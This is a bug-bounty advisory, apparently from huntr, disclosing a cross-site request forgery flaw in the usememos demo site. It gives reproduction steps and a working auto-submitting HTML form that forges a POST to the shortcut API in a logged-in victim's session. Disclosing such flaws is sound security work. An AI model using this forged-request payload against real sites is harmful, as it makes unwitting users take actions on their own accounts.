Lucene search

K
huntrNehalr77725DE88CC-8D0D-41A1-B069-9EF1327770BC
HistoryDec 28, 2022 - 1:22 p.m.

CSRF to add shortcuts to victim account

2022-12-2813:22:52
nehalr777
www.huntr.dev
12
cross-site request forgery
web application
attack
authenticated user
demo.usememos.com

EPSS

0.001

Percentile

21.9%

Description

Cross-Site Request Forgery (CSRF) is an attack that forces authenticated users to submit a request to a Web application against which they are currently authenticated. CSRF attacks exploit the trust a Web application has in an authenticated user

Proof of Concept

1) Go to https://demo.usememos.com and login into your account 
2) Save the below CSRF POC as CSRF.html and open the file in the same browser 
3) You will see that the attackers shortcut has been added to victim account 

POC video: https://drive.google.com/file/d/1VzPaJ8WIdtncTiy9_HbWKfpy2aXq_xCs/view?usp=sharing

CSRF POC:

<html>
  
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://demo.usememos.com/api/shortcut" method="POST" enctype="text/plain">
      <input type="hidden" name="{"title":"hacked","payload":"[]"}" value="" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

EPSS

0.001

Percentile

21.9%

Related for 25DE88CC-8D0D-41A1-B069-9EF1327770BC